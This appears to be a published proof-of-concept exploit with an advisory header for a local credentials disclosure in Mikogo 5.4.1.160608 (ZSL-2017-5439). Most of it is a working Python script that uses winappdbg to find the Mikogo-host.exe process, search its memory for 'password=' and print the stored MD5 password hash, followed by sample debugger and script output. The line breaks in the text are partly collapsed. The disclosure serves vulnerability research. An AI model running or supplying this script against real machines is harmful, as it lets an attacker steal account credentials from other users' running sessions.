#!/usr/bin/env python### Mikogo 5.4.1.160608 Local Credentials Disclosure### Vendor: Snapview GmbH# Product web page: https://www.mikogo.com# Affected version: 5.4.1.160608## Summary: Mikogo is a desktop sharing software application for# web conferencing and remote support, and is provided by the online# collaboration provider, BeamYourScreen GmbH. Mikogo provides# its software as native downloads for Windows, Mac OS X, Linux,# iOS and Android.## Desc: Mikogo is vulnerable to local credentials disclosure, the# supplied password is stored as a MD5 hash format in memory process.# A potential attacker could reveal the supplied password hash and# re-use it or store it via the configuration file in order to gain# access to the account.## ------------------------------------------------------------------## 0:017> s -a 0 L?80000000 "password="# 0125cdad70 61 73 73 77 6f 72 64-3d 00 00 26 6c 61 6e 67password=..&lang# 0146e6b870 61 73 73 77 6f 72 64-3d 00 00 00 64 6f 6d 61password=...doma# 06a422b370 61 73 73 77 6f 72 64-3d 34 42 33 42 38 37 34password=482C811# 0:017> da 06a422b3# 06a422b3"password=482C811DA5D5B4BC6D497FF"# 06a422d3"A98491E38...."## ...# ...## C:\Users\Charlie\Desktop>python mikogo_mem.py# [~] Searching for pid by process name 'Mikogo-host.exe'..# [+] Found process with pid #1116# [~] Trying to read memory for pid #1116# [+] Credentials found!# ----------------------------------------# [+] MD5 Password: 482C811DA5D5B4BC6D497FFA98491E38## ------------------------------------------------------------------## Tested on: Microsoft Windows 7 Professional SP1 (EN)### Vulnerability discovered by Gjoko 'LiquidWorm' Krstic# @zeroscience### Advisory ID: ZSL-2017-5439# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5439.php### 03.07.2017### Based on Yakir Wizman's PoC:#
import time
import urllib
from winappdbg import Debug,Process
username= ''
password= ''
found = 0
filename= "Mikogo-host.exe"
process_pid = 0
memory_dump = []
debug = Debug()try:
print "[~] Searching for pid by process name '%s'.."%(filename)
time.sleep(1)
debug.system.scan_processes()for(process, process_name) in debug.system.find_processes_by_filename(filename):
process_pid = process.get_pid()if process_pid is not 0:
print "[+] Found process with pid #%d"%(process_pid)
time.sleep(1)
print "[~] Trying to read memory for pid #%d"%(process_pid)process = Process(process_pid)for address in process.search_bytes('\x0a\x70\x61\x73\x73\x77\x6f\x72\x64\x3d'):
memory_dump.append(process.read(address,42))for i in range(len(memory_dump)):
password = memory_dump[i].split('password=')[1]if password !='':
found = 1
print "[+] Credentials found!\r\n----------------------------------------"
print "[+] MD5 Password: %s"% password
if found == 0:
print "[-] Credentials not found! Make sure the client is connected."else:
print "[-] No process found with name '%s'."%(filename)
debug.loop()finally:
debug.stop()
